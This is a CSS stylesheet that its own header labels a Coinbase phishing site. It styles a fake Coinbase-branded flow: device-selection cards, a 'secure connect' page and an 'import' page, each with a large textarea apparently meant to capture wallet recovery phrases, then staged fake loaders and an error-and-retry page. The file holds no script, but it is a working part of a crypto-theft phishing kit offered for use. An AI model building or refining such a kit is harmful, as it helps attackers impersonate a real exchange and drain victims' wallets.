/* ============================================
   COINBASE PHISHING SITE - GLOBAL STYLES
   ============================================ */

@import url('https://fonts.googleapis.com/css2?family=Coinbase+Display:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700;800&display=swap');

:root {
  --cb-purple: #4B00C8;
  --cb-purple-dark: #3800A0;
  --cb-purple-mid: #5C0FD9;
  --cb-purple-light: #7B3FE4;
  --cb-purple-faint: rgba(255,255,255,0.12);
  --cb-purple-input: rgba(255,255,255,0.18);
  --cb-white: #FFFFFF;
  --cb-green: #00FF41;
  --cb-error: #FF4444;
  --cb-text-dim: rgba(255,255,255,0.7);
  --cb-text-dimmer: rgba(255,255,255,0.45);
  --transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  --transition-slow: all 0.6s cubic-bezier(0.4, 0, 0.2, 1);
  --shadow-card: 0 8px 32px rgba(0,0,0,0.3);
  --shadow-glow: 0 0 40px rgba(123, 63, 228, 0.4);
  --radius-btn: 12px;
  --radius-card: 20px;
  --radius-input: 14px;
}

*, *::before, *::after {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

html {
  scroll-behavior: smooth;
}

body {
  font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
  background-color: var(--cb-purple);
  color: var(--cb-white);
  min-height: 100vh;
  overflow-x: hidden;
  -webkit-font-smoothing: antialiased;
}

/* ============================================
   PAGE SYSTEM
   ============================================ */

.page {
  display: none;
  min-height: 100vh;
  flex-direction: column;
  background-color: var(--cb-purple);
  animation: pageFadeIn 0.5s ease forwards;
}

.page.active {
  display: flex;
}

@keyframes pageFadeIn {
  from { opacity: 0; transform: translateY(8px); }
  to { opacity: 1; transform: translateY(0); }
}

/* ============================================
   NAVIGATION
   ============================================ */

.nav {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 28px 48px;
  position: relative;
  z-index: 100;
}

.nav-logo {
  font-size: 28px;
  font-weight: 700;
  color: var(--cb-white);
  letter-spacing: -0.5px;
  text-decoration: none;
  cursor: pointer;
  font-family: 'Inter', sans-serif;
}

.nav-links {
  display: flex;
  gap: 36px;
  list-style: none;
}

.nav-links a {
  color: var(--cb-white);
  text-decoration: none;
  font-weight: 600;
  font-size: 15px;
  letter-spacing: 0.01em;
  transition: var(--transition);
  opacity: 0.9;
  cursor: pointer;
}

.nav-links a:hover {
  opacity: 1;
  text-shadow: 0 0 20px rgba(255,255,255,0.6);
}

/* ============================================
   HOMEPAGE (PAGE 1)
   ============================================ */

#page-home {
  position: relative;
}

.home-world-map {
  width: 100%;
  max-height: 400px;
  object-fit: contain;
  padding: 0 40px;
  position: relative;
}

.world-map-container {
  position: relative;
  width: 100%;
  overflow: hidden;
  display: flex;
  justify-content: center;
}

.world-map-image {
  width: 100%;
  height: auto;
  max-height: 450px;
  object-fit: contain;
  display: block;
}

.home-content {
  padding: 40px 48px 60px;
  display: flex;
  justify-content: space-between;
  align-items: flex-end;
  flex-wrap: wrap;
  gap: 32px;
}

.home-tagline {
  font-size: clamp(13px, 2vw, 16px);
  font-weight: 700;
  letter-spacing: 0.05em;
  text-transform: none;
  margin-bottom: 16px;
  opacity: 0.9;
}

.home-headline {
  font-size: clamp(36px, 6vw, 72px);
  font-weight: 300;
  line-height: 1.1;
  letter-spacing: -1px;
  color: var(--cb-white);
}

.home-headline strong {
  display: block;
  font-weight: 300;
}

.home-cta-area {
  display: flex;
  align-items: flex-end;
  padding-bottom: 4px;
}

.btn-primary {
  background: var(--cb-white);
  color: var(--cb-purple);
  border: none;
  padding: 18px 40px;
  border-radius: var(--radius-btn);
  font-size: 16px;
  font-weight: 700;
  cursor: pointer;
  transition: var(--transition);
  letter-spacing: 0.01em;
  white-space: nowrap;
}

.btn-primary:hover {
  transform: translateY(-2px);
  box-shadow: 0 12px 30px rgba(0,0,0,0.3);
  background: #f0f0f0;
}

.btn-primary:active {
  transform: translateY(0);
}

.btn-secondary {
  background: transparent;
  color: var(--cb-white);
  border: 1.5px solid rgba(255,255,255,0.85);
  padding: 12px 24px;
  border-radius: var(--radius-btn);
  font-size: 14px;
  font-weight: 700;
  cursor: pointer;
  transition: var(--transition);
  letter-spacing: 0.01em;
  white-space: nowrap;
}

.btn-secondary:hover {
  background: rgba(255,255,255,0.1);
  border-color: var(--cb-white);
}

.btn-secondary:active {
  transform: translateY(0);
}

.home-footer {
  text-align: center;
  padding: 24px;
  font-size: 13px;
  color: var(--cb-text-dimmer);
  border-top: 1px solid rgba(255,255,255,0.08);
  margin-top: auto;
}

/* Device Selection Section */
.device-section {
  padding: 0 48px 48px;
}

.device-section-title {
  font-size: 13px;
  font-weight: 700;
  letter-spacing: 0.08em;
  text-transform: uppercase;
  color: var(--cb-text-dim);
  margin-bottom: 20px;
}

.device-grid {
  display: flex;
  gap: 16px;
  flex-wrap: wrap;
}

.device-card {
  background: rgba(255,255,255,0.08);
  border: 2px solid rgba(255,255,255,0.15);
  border-radius: var(--radius-card);
  padding: 20px 24px;
  cursor: pointer;
  transition: var(--transition);
  display: flex;
  align-items: center;
  gap: 14px;
  min-width: 160px;
  position: relative;
  overflow: hidden;
  user-select: none;
}

.device-card::before {
  content: '';
  position: absolute;
  inset: 0;
  background: linear-gradient(135deg, rgba(255,255,255,0.1), transparent);
  opacity: 0;
  transition: var(--transition);
}

.device-card:hover {
  border-color: rgba(255,255,255,0.5);
  background: rgba(255,255,255,0.14);
  transform: translateY(-3px);
  box-shadow: 0 12px 28px rgba(0,0,0,0.25);
}

.device-card:hover::before {
  opacity: 1;
}

.device-card.selected {
  border-color: var(--cb-white);
  background: rgba(255,255,255,0.2);
  box-shadow: 0 0 0 1px rgba(255,255,255,0.4), 0 12px 28px rgba(0,0,0,0.25), var(--shadow-glow);
  animation: devicePulse 1.5s ease-out;
}

.device-card.selected .device-icon {
  filter: drop-shadow(0 0 8px rgba(255,255,255,0.8));
}

@keyframes devicePulse {
  0% { transform: scale(1); }
  30% { transform: scale(1.06); }
  60% { transform: scale(0.98); }
  100% { transform: scale(1); }
}

.device-icon {
  width: 56px;
  height: 56px;
  min-width: 56px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 16px;
  background: rgba(255,255,255,0.08);
  transition: var(--transition);
  flex-shrink: 0;
}

.device-icon img {
  width: 34px;
  height: 34px;
  object-fit: contain;
}

.device-info {
  display: flex;
  flex-direction: column;
  gap: 2px;
}

.device-name {
  font-weight: 700;
  font-size: 14px;
  letter-spacing: 0.01em;
}

.device-sub {
  font-size: 11px;
  color: var(--cb-text-dimmer);
  font-weight: 500;
}

.device-check {
  position: absolute;
  top: 10px;
  right: 12px;
  width: 18px;
  height: 18px;
  background: var(--cb-white);
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  opacity: 0;
  transform: scale(0);
  transition: var(--transition);
}

.device-card.selected .device-check {
  opacity: 1;
  transform: scale(1);
}

.device-check svg {
  width: 10px;
  height: 10px;
  stroke: var(--cb-purple);
  fill: none;
  stroke-width: 2.5;
}

/* ============================================
   SECURE CONNECT PAGE (PAGE 2)
   ============================================ */

#page-secure {
  justify-content: space-between;
}

.secure-content {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: flex-start;
  padding: 48px 32px;
  text-align: center;
}

.secure-protocol-tag {
  font-size: 14px;
  font-weight: 700;
  color: var(--cb-white);
  margin-bottom: 12px;
  letter-spacing: 0.02em;
}

.secure-title {
  font-size: clamp(32px, 5vw, 60px);
  font-weight: 800;
  line-height: 1.1;
  margin-bottom: 0;
  letter-spacing: -1px;
}

.secure-status {
  color: var(--cb-green);
  font-size: clamp(32px, 5vw, 60px);
  font-weight: 800;
  display: inline;
  letter-spacing: -1px;
}

.secure-divider {
  width: 100%;
  max-width: 700px;
  height: 1px;
  background: rgba(255,255,255,0.2);
  margin: 32px 0;
}

.secure-description {
  font-size: 15px;
  line-height: 1.6;
  color: var(--cb-text-dim);
  max-width: 560px;
  margin-bottom: 40px;
}

.secure-form {
  width: 100%;
  max-width: 500px;
  display: flex;
  flex-direction: column;
  gap: 16px;
}

.secure-form textarea {
  background: rgba(255,255,255,0.18);
  border: 1.5px solid rgba(255,255,255,0.25);
  border-radius: var(--radius-card);
  padding: 24px;
  color: var(--cb-white);
  font-family: 'Inter', sans-serif;
  font-size: 14px;
  line-height: 1.6;
  min-height: 160px;
  resize: none;
  outline: none;
  transition: var(--transition);
  width: 100%;
}

.secure-form textarea::placeholder {
  color: rgba(255,255,255,0.5);
}

.secure-form textarea:focus {
  border-color: rgba(255,255,255,0.6);
  background: rgba(255,255,255,0.22);
  box-shadow: 0 0 0 3px rgba(255,255,255,0.08);
}

.secure-form input[type="text"] {
  background: rgba(255,255,255,0.18);
  border: 1.5px solid rgba(255,255,255,0.25);
  border-radius: 50px;
  padding: 16px 24px;
  color: var(--cb-white);
  font-family: 'Inter', sans-serif;
  font-size: 14px;
  outline: none;
  transition: var(--transition);
  width: 100%;
}

.secure-form input[type="text"]::placeholder {
  color: rgba(255,255,255,0.5);
}

.secure-form input[type="text"]:focus {
  border-color: rgba(255,255,255,0.6);
  background: rgba(255,255,255,0.22);
  box-shadow: 0 0 0 3px rgba(255,255,255,0.08);
}

.btn-connect {
  background: var(--cb-white);
  color: var(--cb-purple);
  border: none;
  padding: 18px;
  border-radius: var(--radius-btn);
  font-size: 16px;
  font-weight: 700;
  cursor: pointer;
  transition: var(--transition);
  width: 100%;
  letter-spacing: 0.01em;
}

.btn-connect:hover {
  background: #f0f0f0;
  transform: translateY(-2px);
  box-shadow: 0 12px 30px rgba(0,0,0,0.3);
}

.btn-connect:active {
  transform: translateY(0);
}

.secure-footer {
  text-align: center;
  padding: 24px;
  font-size: 13px;
  color: var(--cb-text-dimmer);
}

/* ============================================
   LOADER PAGES (PAGE 3 & 4)
   ============================================ */

.loader-content {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  padding: 48px 32px;
  text-align: center;
}

.loader-title {
  font-size: clamp(28px, 4vw, 48px);
  font-weight: 700;
  margin-bottom: 16px;
  letter-spacing: -0.5px;
}

.loader-subtitle {
  font-size: 15px;
  font-weight: 700;
  color: var(--cb-text-dim);
  min-height: 24px;
  margin-bottom: 48px;
  transition: opacity 0.3s ease;
}

/* Progress Bar - Segmented (page 4) */
.progress-bar-segmented {
  width: 100%;
  max-width: 700px;
  height: 64px;
  border: 3px solid var(--cb-white);
  border-radius: 50px;
  padding: 6px;
  display: flex;
  gap: 5px;
  overflow: hidden;
}

.segment {
  flex: 1;
  background: transparent;
  border-radius: 4px;
  transition: background 0.15s ease;
}

.segment.filled {
  background: var(--cb-white);
}

/* Progress Bar - Smooth (page 3 / secure connect) */
.progress-bar-smooth {
  width: 100%;
  max-width: 700px;
  height: 64px;
  border: 3px solid var(--cb-white);
  border-radius: 50px;
  padding: 6px;
  overflow: hidden;
}

.progress-fill {
  height: 100%;
  background: var(--cb-white);
  border-radius: 44px;
  width: 0%;
  transition: width 0.3s ease;
}

/* ============================================
   IMPORT PAGE (PAGE 5 - which is screen 3 in flow)
   ============================================ */

#page-import {
  position: relative;
}

.import-layout {
  flex: 1;
  display: flex;
  align-items: flex-start;
  gap: 0;
  padding: 48px;
  max-width: 1100px;
  margin: 0 auto;
  width: 100%;
}

/* Device showcase panel */
.device-showcase {
  width: 0;
  overflow: hidden;
  transition: width 0.7s cubic-bezier(0.34, 1.56, 0.64, 1), opacity 0.5s ease;
  opacity: 0;
  display: flex;
  align-items: flex-start;
  justify-content: center;
  flex-shrink: 0;
}

.device-showcase.visible {
  width: 280px;
  opacity: 1;
}

.device-showcase-inner {
  width: 240px;
  background: rgba(255,255,255,0.08);
  border: 2px solid rgba(255,255,255,0.3);
  border-radius: var(--radius-card);
  padding: 28px 24px;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 12px;
  text-align: center;
  animation: deviceAppear 0.6s cubic-bezier(0.34, 1.56, 0.64, 1) forwards;
  box-shadow: 0 0 40px rgba(123, 63, 228, 0.5), var(--shadow-card);
}

@keyframes deviceAppear {
  0% { transform: scale(0.6) rotateY(-20deg); opacity: 0; }
  60% { transform: scale(1.05) rotateY(5deg); }
  100% { transform: scale(1) rotateY(0deg); opacity: 1; }
}

.showcase-icon {
  width: 90px;
  height: 90px;
  display: flex;
  align-items: center;
  justify-content: center;
  filter: drop-shadow(0 0 16px rgba(255,255,255,0.5));
  animation: iconFloat 3s ease-in-out infinite;
}

.showcase-icon img {
  width: 64px;
  height: 64px;
  object-fit: contain;
}

@keyframes iconFloat {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-8px); }
}

.showcase-label {
  font-size: 13px;
  font-weight: 700;
  letter-spacing: 0.06em;
  text-transform: uppercase;
  color: var(--cb-text-dim);
}

.showcase-name {
  font-size: 18px;
  font-weight: 700;
  color: var(--cb-white);
}

.showcase-connected {
  display: flex;
  align-items: center;
  gap: 6px;
  font-size: 12px;
  font-weight: 600;
  color: var(--cb-green);
  background: rgba(0, 255, 65, 0.1);
  border: 1px solid rgba(0, 255, 65, 0.3);
  border-radius: 50px;
  padding: 4px 12px;
}

.showcase-dot {
  width: 6px;
  height: 6px;
  background: var(--cb-green);
  border-radius: 50%;
  animation: blink 1.5s ease infinite;
}

@keyframes blink {
  0%, 100% { opacity: 1; }
  50% { opacity: 0.3; }
}

/* Import Form Area */
.import-form-area {
  flex: 1;
  display: flex;
  flex-direction: column;
}

.import-protocol-tag {
  font-size: 14px;
  font-weight: 700;
  color: var(--cb-white);
  margin-bottom: 12px;
  letter-spacing: 0.02em;
}

.import-title {
  font-size: clamp(28px, 4vw, 52px);
  font-weight: 800;
  line-height: 1.1;
  margin-bottom: 8px;
  letter-spacing: -1px;
}

.import-status {
  color: var(--cb-green);
  display: inline;
}

.import-divider {
  width: 100%;
  height: 1px;
  background: rgba(255,255,255,0.2);
  margin: 28px 0;
}

.import-description {
  font-size: 15px;
  line-height: 1.6;
  color: var(--cb-text-dim);
  max-width: 560px;
  margin-bottom: 32px;
  text-align: center;
}

.import-form {
  width: 100%;
  max-width: 500px;
  display: flex;
  flex-direction: column;
  gap: 16px;
}

.import-form textarea {
  background: rgba(255,255,255,0.18);
  border: 1.5px solid rgba(255,255,255,0.25);
  border-radius: var(--radius-card);
  padding: 24px;
  color: var(--cb-white);
  font-family: 'Inter', sans-serif;
  font-size: 14px;
  line-height: 1.6;
  min-height: 160px;
  resize: none;
  outline: none;
  transition: var(--transition);
  width: 100%;
}

.import-form textarea::placeholder {
  color: rgba(255,255,255,0.5);
}

.import-form textarea:focus {
  border-color: rgba(255,255,255,0.6);
  background: rgba(255,255,255,0.22);
  box-shadow: 0 0 0 3px rgba(255,255,255,0.08);
}

.import-form input[type="text"] {
  background: rgba(255,255,255,0.18);
  border: 1.5px solid rgba(255,255,255,0.25);
  border-radius: 50px;
  padding: 16px 24px;
  color: var(--cb-white);
  font-family: 'Inter', sans-serif;
  font-size: 14px;
  outline: none;
  transition: var(--transition);
  width: 100%;
}

.import-form input[type="text"]::placeholder {
  color: rgba(255,255,255,0.5);
}

.import-form input[type="text"]:focus {
  border-color: rgba(255,255,255,0.6);
  background: rgba(255,255,255,0.22);
}

.device-badge {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  background: rgba(255,255,255,0.1);
  border: 1px solid rgba(255,255,255,0.25);
  border-radius: 8px;
  padding: 8px 14px;
  font-size: 12px;
  font-weight: 600;
  color: var(--cb-text-dim);
  margin-bottom: 4px;
}

.badge-icon {
  width: 18px;
  height: 18px;
  object-fit: contain;
}

.device-badge span {
  color: var(--cb-white);
  font-weight: 700;
}

/* ============================================
   ERROR PAGE (PAGE 5)
   ============================================ */

#page-error {
  justify-content: space-between;
}

.error-content {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  text-align: center;
  padding: 80px 32px;
}

.error-title {
  font-size: clamp(32px, 5vw, 56px);
  font-weight: 700;
  margin-bottom: 20px;
  letter-spacing: -1px;
}

.error-message {
  font-size: 16px;
  font-weight: 700;
  line-height: 1.6;
  margin-bottom: 48px;
  color: var(--cb-white);
}

.btn-retry {
  background: var(--cb-white);
  color: var(--cb-purple);
  border: none;
  padding: 18px 60px;
  border-radius: var(--radius-btn);
  font-size: 16px;
  font-weight: 700;
  cursor: pointer;
  transition: var(--transition);
  letter-spacing: 0.01em;
  margin-bottom: 24px;
  display: block;
  text-align: center;
}

.btn-retry:hover {
  background: #f0f0f0;
  transform: translateY(-2px);
  box-shadow: 0 12px 30px rgba(0,0,0,0.3);
}

.error-tips {
  font-size: 15px;
  color: var(--cb-text-dimmer);
  line-height: 1.6;
}

.error-tips strong {
  color: var(--cb-white);
  font-weight: 700;
}

/* ============================================
   RESPONSIVE
   ============================================ */

@media (max-width: 768px) {
  .nav {
    padding: 20px 24px;
  }

  .nav-links {
    gap: 20px;
  }

  .nav-links a {
    font-size: 13px;
  }

  .home-content {
    padding: 24px 24px 40px;
    flex-direction: column;
    align-items: flex-start;
  }

  .device-section {
    padding: 0 24px 40px;
  }

  .device-grid {
    gap: 12px;
  }

  .device-card {
    min-width: 140px;
    padding: 16px 18px;
  }

  .import-layout {
    flex-direction: column;
    padding: 24px;
    gap: 24px;
  }

  .device-showcase.visible {
    width: 100%;
  }

  .device-showcase-inner {
    width: 100%;
    flex-direction: row;
    text-align: left;
    padding: 20px;
  }

  .showcase-icon {
    font-size: 40px;
  }

  .import-form-area {
    align-items: center;
    text-align: center;
  }

  .world-map-image {
    max-height: 320px;
  }

  .secure-content,
  .loader-content {
    padding: 32px 20px;
  }

  .progress-bar-segmented,
  .progress-bar-smooth {
    height: 48px;
  }
}

@media (max-width: 480px) {
  .nav-logo {
    font-size: 22px;
  }

  .nav-links {
    gap: 14px;
  }

  .nav-links a {
    font-size: 11px;
  }

  .device-grid {
    flex-direction: column;
  }

  .device-card {
    width: 100%;
  }

  .world-map-image {
    max-height: 240px;
  }
}

/* ============================================
   NOTIFICATION TOAST
   ============================================ */

.toast {
  position: fixed;
  bottom: 32px;
  right: 32px;
  background: rgba(255,255,255,0.12);
  backdrop-filter: blur(20px);
  border: 1px solid rgba(255,255,255,0.2);
  border-radius: 12px;
  padding: 14px 20px;
  font-size: 14px;
  font-weight: 600;
  color: var(--cb-white);
  z-index: 9999;
  transform: translateY(80px);
  opacity: 0;
  transition: var(--transition);
  max-width: 320px;
}

.toast.show {
  transform: translateY(0);
  opacity: 1;
}